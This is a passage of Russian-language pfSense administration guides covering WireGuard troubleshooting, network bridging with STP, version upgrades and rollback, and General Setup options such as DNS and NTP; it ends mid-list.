- Интеграция с оборудованием третьих сторон (Cisco, FortiGate, MikroTik).
- Требуется совместимость с облачными VPN-шлюзами (AWS VPN, Azure VPN Gateway).
- Необходима поддержка нескольких Phase 2 для разных подсетей.
- Подробнее: [IPsec Site-to-Site VPN](/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/).

### Когда выбрать OpenVPN

- Требуется аутентификация через LDAP/RADIUS.
- Клиенты подключаются из сетей с жёсткими ограничениями (доступен только TCP 443).
- Необходимо детальное логирование и управление сессиями.
- Подробнее: [OpenVPN сервер удалённого доступа](/docs/pfsense/vpn/openvpn/pfsense-openvpn-remote-access/).

## Устранение неполадок

### Handshake не устанавливается

Наиболее распространённая проблема - отсутствие завершённого handshake. Проверить состояние можно на странице **Status > WireGuard**.

![Статус WireGuard](/img/pfsense/pfsense-wireguard-status.webp)
<p style="text-align: center;">Рис. 3. Страница Status > WireGuard в pfSense</p>

Возможные причины:

| Симптом | Причина | Решение |
|---|---|---|
| Latest handshake отсутствует | Пакеты не достигают pfSense | Проверить правило файрвола на WAN, убедиться в корректности порта |
| Latest handshake отсутствует | Несовпадение ключей | Проверить, что публичный ключ сервера корректно указан в конфигурации клиента и наоборот |
| Latest handshake отсутствует | PSK не совпадает | Проверить идентичность Pre-Shared Key на обеих сторонах |
| Handshake есть, нет трафика | Некорректный Allowed IPs | Проверить, что Allowed IPs на сервере содержит адрес клиента, а на клиенте - целевые подсети |
| Handshake есть, нет трафика | Отсутствуют правила на интерфейсе WireGuard | Добавить правила на вкладке WIREGUARD |

### Проблемы с MTU

WireGuard использует значение MTU по умолчанию 1420 байт (при стандартном MTU 1500 на физическом интерфейсе). Overhead WireGuard составляет 80 байт для IPv4 (60 байт WireGuard + 20 байт внешний IPv4-заголовок) и 80 байт для IPv6.

Признаки проблем с MTU:

- Ping работает, но HTTP-соединения зависают.
- Передача крупных файлов обрывается.
- SSH работает, но SCP/SFTP зависает на больших файлах.

Решение:

1. На клиенте явно указать MTU в секции `[Interface]`:

```ini
[Interface]
PrivateKey = ...
Address = 10.10.10.2/32
MTU = 1420
```

2. При наличии дополнительной инкапсуляции (PPPoE, VLAN, двойной NAT) уменьшить MTU:

| Сценарий | Рекомендуемый MTU |
|---|---|
| Стандартный (Ethernet 1500) | 1420 |
| PPPoE (MTU 1492) | 1412 |
| Двойной NAT / CGNAT | 1400 |
| За другим VPN-туннелем | 1380 |

### NAT traversal

WireGuard нативно поддерживает работу через NAT. Для корректной работы клиентов за NAT необходимо:

1. Установить `PersistentKeepalive = 25` в конфигурации клиента. Это заставляет клиента отправлять keepalive-пакеты каждые 25 секунд, поддерживая NAT-трансляцию активной.
2. На стороне pfSense в настройках пира указать **Keep Alive**: `25`.

Без keepalive NAT-трансляция истекает (обычно через 30-120 секунд), и сервер теряет возможность отправлять пакеты клиенту.

### Ошибки в Allowed IPs

Некорректная настройка **Allowed IPs** - вторая по распространённости причина проблем:

- **На сервере (pfSense)**: Allowed IPs для каждого пира должны быть уникальными. Два пира не могут иметь пересекающиеся Allowed IPs. Если два пира заявляют `10.10.10.2/32`, трафик будет маршрутизироваться к последнему добавленному пиру.
- **На клиенте**: Allowed IPs определяют, какой трафик направляется в туннель. Значение `0.0.0.0/0` направляет весь трафик, `10.10.10.0/24, 192.168.1.0/24` - только трафик к указанным подсетям (split tunnel).

### Диагностические команды

При наличии доступа к командной строке pfSense (SSH или консоль):

```bash
# Check WireGuard interface status
wg show

# Check WireGuard interface details
wg show wg0

# Check routing table
netstat -rn | grep wg

# Check firewall logs for blocked packets
clog /var/log/filter.log | grep 51820

# Check WireGuard kernel module
kldstat | grep if_wg
```

### Проверка доступности порта извне

Для проверки доступности порта WireGuard из внешней сети можно использовать утилиту `nmap` с другого хоста:

```bash
nmap -sU -p 51820 vpn.example.com
```

Статус `open|filtered` является нормальным для WireGuard, поскольку протокол не отвечает на неавторизованные пакеты.

## Связанные разделы

- [IPsec Site-to-Site VPN в pfSense](/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/) - настройка IPsec-туннеля для объединения площадок с поддержкой оборудования третьих сторон
- [OpenVPN сервер удалённого доступа](/docs/pfsense/vpn/openvpn/pfsense-openvpn-remote-access/) - настройка OpenVPN с аутентификацией по сертификатам и интеграцией LDAP/RADIUS
- [Правила файрвола в pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание и управление правилами фильтрации трафика на различных интерфейсах


---

# Настройка моста (Bridge) в pfSense - пошаговое руководство

Source: https://opennix.org/docs/pfsense/bridging/pfsense-bridge-setup/


Мост объединяет несколько сетевых интерфейсов pfSense в единый широковещательный домен, позволяя фильтровать трафик между ними на уровне межсетевого экрана. В данном руководстве рассматривается создание моста, настройка Spanning Tree Protocol, применение правил файрвола к мостовому трафику, развёртывание прозрачного файрвола и решение типичных проблем. Перед созданием моста убедитесь, что участвующие интерфейсы назначены в системе через **Interfaces > Assignments**, но не обязательно должны иметь IP-адреса.

## Создание моста

### Базовая настройка

Для создания моста перейдите в **Interfaces > Assignments** на вкладку **Bridges** и нажмите **Add**.

1. В поле **Member Interfaces** выберите интерфейсы, которые будут объединены в мост. Используйте Ctrl+Click для выбора нескольких интерфейсов
2. Введите описание моста в поле **Description**
3. Нажмите **Save**

После сохранения система создаёт виртуальный интерфейс `bridgeX` (где X - порядковый номер, начиная с 0). Этот интерфейс необходимо назначить через **Interfaces > Assignments** для дальнейшей настройки IP-адреса и правил файрвола.

### Назначение IP-адреса

IP-адрес назначается на интерфейс моста, а не на его участников. Перейдите в **Interfaces > [назначенный интерфейс моста]**, включите его и настройте IP-адрес. Участники моста, как правило, не должны иметь собственных IP-адресов, если только это не требуется для специфических сценариев.

## Spanning Tree Protocol

При подключении нескольких интерфейсов моста к одному коммутатору или к коммутаторам, связанным между собой, возникает риск образования петель на канальном уровне. Петля приводит к бесконечной циркуляции кадров и полной остановке работы сети. Spanning Tree Protocol (STP) предотвращает петли, блокируя избыточные пути.

### Выбор протокола

pfSense поддерживает два варианта:

| Протокол | Стандарт | Время сходимости | Применение |
|---|---|---|---|
| STP | IEEE 802.1D | 30-50 секунд | Совместимость со старым оборудованием |
| RSTP | IEEE 802.1w | 1-3 секунды | Рекомендуется для новых установок |

RSTP обратно совместим с STP и обеспечивает значительно более быструю сходимость при изменении топологии.

### Параметры STP

Расширенные параметры STP доступны в настройках моста:

- **Valid Time** - время жизни BPDU-сообщений (по умолчанию 20 секунд, диапазон 6-40)
- **Forward Time** - время перехода порта из состояния блокировки в состояние пересылки (по умолчанию 15 секунд, диапазон 4-30)
- **Bridge Priority** - приоритет моста для выбора корневого моста (по умолчанию 32768, меньшее значение = более высокий приоритет)
- **Port Priority** - приоритет отдельного порта в мосту (влияет на выбор активного пути)
- **Path Cost** - стоимость пути через порт (влияет на выбор оптимального маршрута)

### Edge и PTP порты

- **Edge ports** - порты, подключённые к конечным устройствам (рабочие станции, серверы). Переходят в состояние пересылки немедленно, минуя фазы прослушивания и обучения
- **PTP ports** - порты, подключённые к другим коммутаторам (потенциальный риск петель). Проходят полный цикл STP
- **Auto detect** - автоматическое определение типа порта на основании полученных BPDU

## Фильтрация трафика на мосту

### Правила файрвола

Правила файрвола применяются к интерфейсам-участникам моста, а не к интерфейсу моста. Это ключевое отличие от маршрутизируемых интерфейсов. Для фильтрации трафика между участниками моста создавайте правила на вкладках соответствующих интерфейсов в **Firewall > Rules**.

Для корректной работы фильтрации на мосту необходимо включить параметры в **System > Advanced > System Tunables**:

```
net.link.bridge.pfil_bridge=0
net.link.bridge.pfil_member=1
```

Параметр `pfil_member=1` активирует фильтрацию на интерфейсах-участниках моста. Параметр `pfil_bridge=0` отключает фильтрацию на самом интерфейсе моста (что является рекомендуемой конфигурацией для большинства сценариев).

### Кэш MAC-адресов

- **Cache Size** - максимальное количество записей в таблице MAC-адресов моста (по умолчанию 100)
- **Cache Expire** - время жизни записи в таблице в секундах (по умолчанию 240)

### Приватные и Sticky порты

- **Private ports** - запрещают обмен трафиком между указанными портами моста. Устройства на приватных портах могут общаться только с неприватными портами
- **Sticky ports** - фиксируют выученные MAC-адреса в кэше навсегда, предотвращая их вытеснение

### Span-порты

Span-порт передаёт копии всех кадров, проходящих через мост, на указанный интерфейс. Это позволяет подключить систему мониторинга (IDS, анализатор трафика) для пассивного наблюдения без влияния на сетевой трафик.

## Сценарии использования

### Прозрачный файрвол

Прозрачный файрвол фильтрует трафик между WAN и внутренней сетью без изменения маршрутизации. pfSense встраивается в существующую сеть как невидимый мост между сегментами.

Для настройки прозрачного файрвола:

1. Создайте мост, включающий WAN-интерфейс и внутренний интерфейс
2. Назначьте мосту IP-адрес для управления (из той же подсети, что и существующая сеть)
3. Не настраивайте NAT - в прозрачном режиме файрвол не является шлюзом
4. Создайте правила [файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) на интерфейсах-участниках моста

Устройства во внутренней сети продолжают использовать существующий маршрутизатор в качестве шлюза. NAT не функционирует на прозрачном мосту, так как pfSense не является шлюзом.

### Объединение физических портов

Мост позволяет использовать несколько физических портов pfSense как порты одного коммутатора. Это полезно при ограниченном количестве портов на имеющемся коммутаторе или при необходимости подключить устройства непосредственно к портам pfSense с фильтрацией трафика.

### Мост для беспроводного интерфейса

Объединение проводного и беспроводного интерфейсов в мост позволяет разместить устройства обоих типов подключения в одном L2-сегменте. Правила файрвола на беспроводном интерфейсе-участнике моста обеспечивают дополнительный контроль доступа для Wi-Fi клиентов. При необходимости авторизации гостевых пользователей на беспроводной сети используйте [Captive Portal](/docs/pfsense/captive-portal/pfsense-captive-portal-setup/) в сочетании с мостом.

## Ограничения

### Производительность

Мостовое соединение обрабатывается процессором, а не аппаратным коммутатором. Пропускная способность существенно ниже, чем у выделенного коммутатора. Не используйте мосты в качестве замены коммутаторов для высоконагруженного трафика.

### CARP и мосты

Использование [CARP](/docs/pfsense/high-availability/) (Common Address Redundancy Protocol) с мостовыми интерфейсами имеет ограничения. CARP-адреса должны назначаться на интерфейс моста, а не на его участников. Конфигурация отказоустойчивости с мостами требует тщательного тестирования.

### Совместимость сервисов

Некоторые сервисы pfSense требуют дополнительной настройки для работы с мостовыми интерфейсами:

- Captive Portal - необходимо привязывать зону к интерфейсу моста
- Limiters - требуют специальной конфигурации
- Прозрачный прокси - ограниченная совместимость на мостовых интерфейсах

### NAT

NAT не работает на прозрачных мостах, так как файрвол не выполняет функции шлюза. Для сценариев с NAT используйте маршрутизируемые интерфейсы вместо мостов.

## Устранение неполадок

### Петли на канальном уровне

Признаки петли: полная потеря сетевого соединения, высокая загрузка процессора, аномальный объём широковещательного трафика в **Diagnostics > States**.

- Убедитесь, что STP или RSTP включён в настройках моста
- Проверьте, что интерфейсы моста не подключены к одному коммутатору без настройки STP на коммутаторе
- Временно отключите один из участников моста для разрыва петли

### Трафик не проходит через мост

- Проверьте, что интерфейсы-участники включены и имеют состояние link up
- Убедитесь, что правила файрвола на интерфейсах-участниках разрешают необходимый трафик
- Проверьте значение `net.link.bridge.pfil_member` в **System > Advanced > System Tunables**
- Используйте **Diagnostics > Packet Capture** на интерфейсах моста для анализа трафика

### Проблемы с производительностью

- Проверьте загрузку процессора в **Diagnostics > System Activity** - высокая загрузка указывает на превышение возможностей мостового соединения
- Убедитесь, что MTU одинаков на всех участниках моста
- Рассмотрите замену моста на аппаратный коммутатор с [VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/) для сегментации

### Мост не отображается в списке интерфейсов

После создания моста его необходимо назначить через **Interfaces > Assignments**. Неназначенный мост не отображается в настройках интерфейсов и не может быть использован для привязки IP-адреса или правил файрвола.


---

# Обновление pfSense - руководство по апгрейду версий

Source: https://opennix.org/docs/pfsense/installation/pfsense-upgrading/


Регулярное обновление pfSense необходимо для устранения уязвимостей, получения исправлений ошибок и доступа к новым функциям. Пропуск нескольких промежуточных версий допускается, однако обновления между мажорными ветками требуют дополнительной подготовки. В данном руководстве рассмотрены все аспекты процесса: от создания резервной копии до устранения неполадок после обновления.

## Предварительные требования

Перед началом обновления необходимо выполнить ряд подготовительных действий. Пренебрежение этими шагами может привести к потере конфигурации или длительному простою.

### Создание резервной копии конфигурации

Резервная копия конфигурации - единственный способ гарантированно восстановить систему после неудачного обновления. Экспорт выполняется через **Diagnostics > Backup & Restore**.

1. Перейти в **Diagnostics > Backup & Restore**.
2. В разделе **Backup Configuration** выбрать **ALL** в поле **Backup area**.
3. Установить флажок **Encrypt this Configuration File**, если файл будет храниться в незащищённом месте.
4. Нажать **Download Configuration as XML**.
5. Сохранить файл в безопасное место - не на сам межсетевой экран.

> **Внимание**:
>
> Резервная копия конфигурации не включает данные пакетов, содержимое файловой системы за пределами `/cf/conf/` и пользовательские скрипты, размещённые вручную. Если на межсетевом экране используются сторонние модификации, их необходимо сохранять отдельно.

### Изучение примечаний к выпуску

Перед обновлением следует ознакомиться с Release Notes целевой версии. Примечания к выпуску содержат информацию о:

- удалённых или изменённых функциях;
- изменениях в формате конфигурации;
- известных проблемах и несовместимостях;
- требованиях к оборудованию (например, обязательная поддержка AES-NI в ряде версий).

Примечания к выпуску публикуются на официальном сайте Netgate в разделе документации.

### Проверка совместимости пакетов

Установленные пакеты могут быть несовместимы с целевой версией pfSense. Перед обновлением необходимо:

1. Перейти в **System > Package Manager > Installed Packages**.
2. Зафиксировать список и версии установленных пакетов.
3. Проверить на форуме Netgate и в трекере ошибок, поддерживаются ли эти пакеты в целевой версии.

Пакеты, не адаптированные для новой версии, будут автоматически удалены в ходе обновления. После завершения обновления их потребуется установить заново из репозитория, если они доступны.

### Дополнительные рекомендации

- **Виртуальные среды:** создать снимок (snapshot) виртуальной машины перед началом обновления. Это позволит выполнить мгновенный откат без восстановления из резервной копии.
- **Физическое оборудование:** убедиться в наличии консольного доступа (последовательный порт или IPMI/iLO/iDRAC) на случай, если после обновления веб-интерфейс окажется недоступен.
- **Перезагрузка перед обновлением:** выполнить перезагрузку межсетевого экрана до начала процедуры обновления. Это позволяет убедиться, что система стартует корректно и отсутствуют скрытые проблемы с файловой системой.
- **Подключение к интернету:** для загрузки обновлений межсетевой экран должен иметь доступ к серверам обновлений Netgate. Проверить DNS-резолвинг и маршрутизацию на WAN-интерфейсе.

## Обновление через веб-интерфейс

Веб-интерфейс - рекомендуемый метод обновления для большинства развёртываний. Процесс автоматизирован и включает загрузку обновления, проверку целостности, установку и перезагрузку.

### Проверка наличия обновлений

1. Перейти в **System > Update**.
2. В поле **Branch** выбрать ветку обновлений. Для продуктивных сред следует использовать стабильную ветку (**Latest stable version**). Ветки для разработки и Release Candidate подходят исключительно для тестовых стендов.
3. Система выполнит проверку и отобразит доступную версию, если обновление существует.

![Проверка наличия обновлений pfSense](/img/pfsense/pfsense-update-check.webp)

<p style="text-align: center;">Рис. 1. Раздел System > Update - проверка доступных обновлений</p>

Если система уже работает на актуальной версии, отобразится сообщение о том, что обновления отсутствуют.

### Выполнение обновления

1. После обнаружения доступного обновления нажать **Confirm** (или **Invoke Update** в зависимости от версии интерфейса).
2. Система загрузит файлы обновления, проверит их целостность и начнёт установку.
3. В процессе установки на экране отображается подробный лог. Не закрывать браузер и не перезагружать межсетевой экран вручную.
4. После завершения установки система автоматически перезагрузится.

![Процесс обновления pfSense](/img/pfsense/pfsense-update-progress.webp)

<p style="text-align: center;">Рис. 2. Ход выполнения обновления - журнал установки</p>

5. После перезагрузки войти в веб-интерфейс и проверить версию в **System > Update** или в виджете **System Information** на Dashboard.
6. Проверить список установленных пакетов в **System > Package Manager > Installed Packages** и при необходимости переустановить недостающие.

> **Внимание**:
>
> Во время обновления межсетевой экран прекращает обработку трафика на этапе перезагрузки. Для развёртываний с требованием высокой доступности следует заранее переключить трафик на резервный узел CARP или запланировать окно обслуживания.

## Обновление через консоль

Консольное обновление целесообразно для безголовых (headless) систем, удалённого администрирования по SSH и случаев, когда веб-интерфейс недоступен.

### Обновление из меню консоли

1. Подключиться к консоли межсетевого экрана (последовательный порт, SSH или физическая консоль).
2. В главном меню pfSense выбрать пункт **13) Update from console**.
3. Система проверит наличие обновлений, загрузит необходимые файлы и выполнит установку.
4. После завершения установки система перезагрузится автоматически.

### Обновление через командную строку

Для полностью автоматизированного обновления из командной оболочки:

```bash
pfSense-upgrade -d      # Download and install update
```

Дополнительные параметры:

```bash
pfSense-upgrade -c       # Check for available updates without installing
pfSense-upgrade -d -y    # Download, install and auto-confirm prompts
```

> **Внимание**:
>
> Команда `pfSense-upgrade` инициирует перезагрузку после завершения установки. При подключении через SSH соединение будет разорвано. Необходимо обеспечить возможность повторного подключения после перезагрузки.

### Использование `pkg` напрямую

В ряде случаев (например, для диагностики) администраторы обращаются к менеджеру пакетов FreeBSD напрямую. Этот метод не рекомендуется для штатного обновления и может привести к повреждению системы.

```bash
pkg-static upgrade -f    # Force reinstall of all packages (diagnostic use only)
```

Прямое использование `pkg` допустимо только при координации с технической поддержкой Netgate или при восстановлении повреждённой системы пакетов.

## Обновление между мажорными версиями

Обновления между мажорными версиями (например, 2.6.x на 2.7.x) требуют повышенного внимания. Такие обновления нередко сопровождаются изменениями базовой операционной системы FreeBSD, версии PHP, формата конфигурации и набора поддерживаемых пакетов.

### Типичные изменения при мажорных обновлениях

| Аспект | Пример изменений |
|---|---|
| Версия FreeBSD | 12.x на 14.x - меняются драйверы, поведение сетевого стека |
| Версия PHP | 7.4 на 8.x - пакеты с PHP-компонентами требуют адаптации |
| Формат конфигурации | Новые секции в `config.xml`, изменённые имена параметров |
| Удалённые функции | Устаревшие VPN-протоколы, снятые с поддержки криптоалгоритмы |
| Требования к оборудованию | Обязательная поддержка AES-NI начиная с определённых версий |

### Процедура мажорного обновления

1. **Изучить путь обновления.** Не все версии поддерживают прямой переход. Например, обновление с 2.4.x на 2.7.x может потребовать промежуточного обновления до 2.5.x. Путь обновления указан в документации Netgate.
2. **Тестирование.** При наличии возможности выполнить обновление на идентичном оборудовании в тестовой среде. Это позволит выявить проблемы с драйверами и пакетами до начала работ на продуктивной системе.
3. **Зафиксировать текущее состояние.** Помимо резервной копии конфигурации, сохранить:
   - список маршрутов (`netstat -rn`);
   - состояние интерфейсов (`ifconfig -a`);
   - список правил PF (`pfctl -sr`);
   - таблицы NAT (`pfctl -sn`).
4. **Выполнить обновление** через веб-интерфейс или консоль штатным способом.
5. **Проверить систему после обновления.** Убедиться в корректной работе всех интерфейсов, маршрутизации, правил межсетевого экрана, VPN-туннелей и критичных сервисов.

### Совместимость пакетов при мажорных обновлениях

При обновлении между мажорными версиями все установленные пакеты удаляются и переустанавливаются из репозитория целевой версии. Пакеты, не портированные в новую версию, станут недоступны. Перед обновлением следует определить, существуют ли аналоги или альтернативные решения для критичных пакетов.

## Откат

pfSense не предоставляет встроенного механизма отката обновлений на уровне операционной системы. Восстановление предыдущей версии выполняется одним из следующих способов.

### Восстановление из снимка виртуальной машины

Наиболее быстрый метод - откат к снимку виртуальной машины, созданному перед обновлением. Процедура зависит от гипервизора:

- **VMware ESXi:** Snapshot Manager - выбрать снимок - Revert.
- **Proxmox VE:** Datacenter - выбрать VM - Snapshots - Rollback.
- **Hyper-V:** Checkpoints - Apply.

После восстановления снимка виртуальная машина возвращается в состояние до обновления, включая конфигурацию, файловую систему и версию pfSense.

### Переустановка с восстановлением конфигурации

Если снимок виртуальной машины отсутствует или система работает на физическом оборудовании:

1. Установить предыдущую версию pfSense с установочного носителя.
2. Завершить базовую установку с настройками по умолчанию.
3. Войти в веб-интерфейс и перейти в **Diagnostics > Backup & Restore**.
4. В разделе **Restore Backup** загрузить ранее сохранённый XML-файл конфигурации.
5. Подтвердить восстановление. Система применит конфигурацию и перезагрузится.

> **Внимание**:
>
> Восстановление конфигурации от более новой версии pfSense на более старую может завершиться ошибкой, если в конфигурации присутствуют параметры, отсутствующие в целевой версии. В таких случаях следует вручную отредактировать XML-файл, удалив неподдерживаемые секции.

### Системы с ZFS (pfSense Plus)

pfSense Plus с файловой системой ZFS поддерживает загрузочные среды (Boot Environments). Перед обновлением система автоматически создаёт загрузочную среду с текущим состоянием. Для отката:

1. Перезагрузить межсетевой экран.
2. В загрузчике выбрать предыдущую загрузочную среду.
3. Система загрузится с предыдущей версией и конфигурацией.

Управление загрузочными средами доступно через меню консоли или командную строку:

```bash
bectl list        # List available boot environments
bectl activate BE_name   # Set boot environment for next reboot
```

## Миграция с других платформ

pfSense не поддерживает импорт конфигурации из других межсетевых экранов - Cisco ASA, FortiGate, MikroTik, OPNsense или Sophos. Конфигурацию необходимо планировать и создавать заново.

### Планирование миграции

При переходе с другой платформы следует заблаговременно:

1. **Задокументировать существующую конфигурацию** - правила файрвола, NAT, маршруты, VPN-туннели, DHCP-пулы, DNS-настройки.
2. **Определить соответствия функций.** Не все функции исходной платформы имеют прямые аналоги в pfSense. Например, FortiGate Application Control не эквивалентен механизмам pfSense.
3. **Спланировать адресацию интерфейсов.** Имена интерфейсов в pfSense (WAN, LAN, OPTx) отличаются от именования в исходной платформе.
4. **Подготовить тестовую среду.** Перед переключением продуктивного трафика развернуть pfSense параллельно и проверить все критичные функции.

### Миграция с OPNsense

OPNsense основан на том же коде, что и pfSense, однако форматы конфигурации разошлись. Прямой импорт `config.xml` из OPNsense в pfSense не поддерживается. Конфигурацию необходимо воссоздать вручную.

## Устранение неполадок

### Обновление зависло

Если процесс обновления остановился и не продвигается более 30 минут:

1. Не перезагружать межсетевой экран через кнопку питания - это может повредить файловую систему.
2. Подключиться к консоли (последовательный порт или SSH, если доступен).
3. Проверить процесс обновления:

```bash
ps aux | grep pfSense-upgrade
```

4. Если процесс обновления отсутствует в списке, попытаться запустить обновление повторно:

```bash
pfSense-upgrade -d
```

5. При наличии ошибок файловой системы выполнить проверку:

```bash
fsck -y /
```

### Пакеты не работают после обновления

После обновления установленные пакеты могут потребовать переустановки:

1. Перейти в **System > Package Manager > Installed Packages**.
2. Если пакет отображается, но не функционирует - удалить и установить повторно.
3. Если пакет отсутствует в репозитории целевой версии - найти альтернативу или обратиться к разработчику пакета.

Для диагностики проблем с конкретным пакетом:

```bash
pkg info <package_name>        # Check installed package info
pkg check -d -a                # Verify package dependencies
```

### Система не загружается после обновления

Если после обновления межсетевой экран не загружается:

1. Подключить монитор и клавиатуру (или последовательную консоль).
2. В загрузчике выбрать **Boot Single User** (опция 2 в меню загрузчика).
3. Проверить файловую систему:

```bash
fsck -y /
mount -u /
```

4. Просмотреть журнал обновления:

```bash
cat /cf/conf/upgrade_log.latest.txt
```

5. При невозможности восстановления - выполнить переустановку с восстановлением из резервной копии конфигурации.

### Потеря доступа к веб-интерфейсу

Если после обновления веб-интерфейс недоступен, но система загрузилась:

1. Подключиться к консоли.
2. В меню консоли pfSense выбрать пункт **2) Set interface(s) IP address** и проверить адресацию LAN-интерфейса.
3. Перезапустить веб-сервер:

```bash
/etc/rc.restart_webgui
```

4. Проверить правила межсетевого экрана, блокирующие доступ к портам 80/443:

```bash
pfctl -sr | grep "pass.*80\|pass.*443"
```

### Ошибки DNS после обновления

В ряде случаев после обновления DNS-резолвер (Unbound или Dnsmasq) может не запуститься:

1. Проверить статус сервиса:

```bash
/usr/local/etc/rc.d/unbound.sh status
```

2. Перезапустить сервис:

```bash
/usr/local/etc/rc.d/unbound.sh restart
```

3. Проверить конфигурацию на наличие синтаксических ошибок:

```bash
unbound-checkconf
```

## Связанные разделы

- [Системные требования pfSense](/docs/pfsense/installation/pfsense-system-requirements/) - проверка совместимости оборудования перед обновлением, особенно при переходе между мажорными версиями
- [Установка pfSense](/docs/pfsense/installation/pfsense-installation-guide/) - полная переустановка системы, если обновление невозможно или завершилось неудачей
- [Резервное копирование pfSense](/docs/pfsense/backup/pfsense-backup-recovery/) - создание и управление резервными копиями конфигурации (раздел будет добавлен в следующей волне документации)


---

# Общие настройки pfSense - System General Setup

Source: https://opennix.org/docs/pfsense/configuration/pfsense-general-settings/


Страница System > General Setup содержит базовые параметры идентификации системы, разрешения имён и локализации. Все параметры этого раздела применяются без перезагрузки, за исключением часового пояса, полная активация которого требует перезапуска. Настройка этих параметров является одним из первых шагов после [установки pfSense](/docs/pfsense/installation/pfsense-installation-guide/).

## Имя хоста и домен

Имя хоста и домен формируют полное доменное имя (FQDN) межсетевого экрана, которое используется в логах, DHCP-ответах, сертификатах и системных уведомлениях.

### Hostname

Короткое имя устройства. Допустимые символы: латинские буквы, цифры и дефис. Имя должно начинаться с буквы.

Примеры корректных имён:

| Сценарий | Hostname |
|---|---|
| Единственный межсетевой экран | `firewall` |
| Главный офис | `hq-fw` |
| Филиал с номером | `branch-02` |
| HA-кластер, нода A | `fw-node-a` |

### Domain

Доменное имя сети, в которой работает межсетевой экран. Если в организации нет собственного домена, рекомендуется использовать формат `<идентификатор>.home.arpa` согласно RFC 8375, например `office.home.arpa`.

Не следует использовать домены верхнего уровня `.local` (зарезервирован для mDNS) или `.lan` (не стандартизирован и может конфликтовать с будущими TLD).

### Применение FQDN

FQDN, составленный из hostname и domain, используется в следующих компонентах:

- Заголовок Subject CN в автоматически сгенерированном сертификате веб-интерфейса
- DHCP-сервер передаёт домен клиентам в качестве search domain
- Системные логи идентифицируют источник записей по hostname
- Уведомления по электронной почте содержат FQDN в поле From

## Конфигурация DNS-серверов

Раздел DNS Servers определяет внешние серверы разрешения имён, которые использует сам межсетевой экран и, опционально, клиенты сети.

### Добавление DNS-серверов

Каждая запись DNS-сервера содержит три поля:

| Поле | Назначение |
|---|---|
| Address | IP-адрес DNS-сервера |
| Hostname | FQDN сервера для валидации сертификата при использовании DNS-over-TLS |
| Gateway | Шлюз для маршрутизации запросов к этому серверу (критично для Multi-WAN) |

При использовании DNS Resolver в режиме по умолчанию (рекурсивный резолвер) поля DNS-серверов можно оставить пустыми - резолвер будет самостоятельно выполнять рекурсивные запросы к корневым серверам.

### Поведение разрешения DNS

Параметр DNS Resolution Behavior определяет приоритет между локальным DNS-сервисом (DNS Resolver или DNS Forwarder) и внешними серверами:

| Режим | Описание | Когда использовать |
|---|---|---|
| Use Local DNS, fall back to remote | Запросы идут на 127.0.0.1, при сбое - на внешние серверы | По умолчанию, подходит для большинства случаев |
| Use Local DNS, ignore remote | Только локальный резолвер, внешние серверы игнорируются | Когда весь DNS-трафик должен проходить через резолвер |
| Use remote DNS, ignore local | Прямые запросы к внешним серверам | Диагностика проблем с локальным DNS |

### DNS Server Override

Флаг **Allow DNS server list to be overridden by DHCP/PPPoE on WAN** контролирует, могут ли DNS-серверы, полученные динамически от провайдера через DHCP или PPPoE на WAN-интерфейсе, заменить вручную настроенные серверы.

Рекомендации по настройке:

- **Включено** (по умолчанию) - приемлемо для домашних сетей и малых офисов, где DNS провайдера является основным
- **Отключено** - рекомендуется для корпоративных сред, где используются собственные DNS-серверы или DNS-фильтрация (например, через [pfBlockerNG](/docs/pfsense/pfsense-packages/))

### Рекомендуемые конфигурации DNS

**Рекурсивный резолвер (максимальная приватность):**

В этом режиме DNS Resolver работает как полноценный рекурсивный резолвер и не пересылает запросы третьим сторонам. Поля DNS-серверов остаются пустыми. Подходит для организаций, где важна конфиденциальность DNS-запросов.

**Форвардер с DoT (баланс приватности и производительности):**

DNS Resolver настроен в режиме форвардинга с включённым DNS-over-TLS. В качестве DNS-серверов указываются публичные резолверы с поддержкой DoT:

| Провайдер | IP-адрес | Hostname для TLS |
|---|---|---|
| Cloudflare | 1.1.1.1 | one.one.one.one |
| Cloudflare | 1.0.0.1 | one.one.one.one |
| Google | 8.8.8.8 | dns.google |
| Quad9 | 9.9.9.9 | dns.quad9.net |

**Multi-WAN с привязкой к шлюзам:**

В конфигурациях с несколькими WAN-интерфейсами каждый DNS-сервер должен быть привязан к шлюзу соответствующего интерфейса. Это гарантирует, что DNS-запросы маршрутизируются через правильный канал, что необходимо для корректной работы [Multi-WAN](/docs/pfsense/multi-wan/).

## Локализация

### Часовой пояс

Параметр Timezone определяет часовой пояс для системных логов, расписаний правил межсетевого экрана и отображения времени в веб-интерфейсе. Выбирается из списка географических зон (например, `Europe/Moscow`, `America/New_York`) или UTC.

После изменения часового пояса рекомендуется выполнить перезагрузку для полной активации. Без перезагрузки некоторые сервисы могут продолжать использовать предыдущий часовой пояс.

### Серверы времени

Поле Time Servers содержит адреса NTP-серверов, разделённые пробелами. Значение по умолчанию - `2.pfsense.pool.ntp.org`. Для корпоративных сред рекомендуется использовать внутренние NTP-серверы или географически ближайшие пулы:

```
0.ru.pool.ntp.org 1.ru.pool.ntp.org 2.ru.pool.ntp.org
```

Точная синхронизация времени критична для корректной работы:

- Временных меток в логах (необходимо для корреляции событий в [SIEM-системах](/docs/pfsense/pfsense-wazuh-integration/))
- Правил межсетевого экрана с расписанием
- Валидации TLS-сертификатов
- Протоколов аутентификации (Kerberos, TOTP)

### Язык интерфейса

Параметр Language определяет язык веб-интерфейса. pfSense поддерживает несколько языков, включая английский (по умолчанию), португальский, турецкий и другие. Качество перевода варьируется, поэтому для профессионального использования рекомендуется английский язык.

## Настройки веб-интерфейса

Раздел webConfigurator настраивает внешний вид и поведение графического интерфейса управления.

### Тема оформления

Параметр Theme определяет визуальное оформление интерфейса. Доступные темы влияют только на внешний вид и не изменяют функциональность. Тема по умолчанию - pfSense (тёмная навигационная панель с белым фоном контента).

### Навигация

| Параметр | Значения | Описание |
|---|---|---|
| Top Navigation | Scrolls with page / Fixed | Поведение верхней панели при прокрутке. Fixed может вызывать проблемы на экранах с малым разрешением |
| Hostname in Menu | None / Hostname / FQDN | Отображение имени хоста в навигационной панели для идентификации устройства |
| Dashboard Columns | 1-4 | Количество колонок на панели мониторинга. По умолчанию - 2 |

### Сортировка интерфейсов

Параметр **Interfaces Sort** определяет порядок отображения интерфейсов в меню и на панели мониторинга:

- **По умолчанию** - порядок следует конфигурации (WAN, LAN, OPT1, OPT2...)
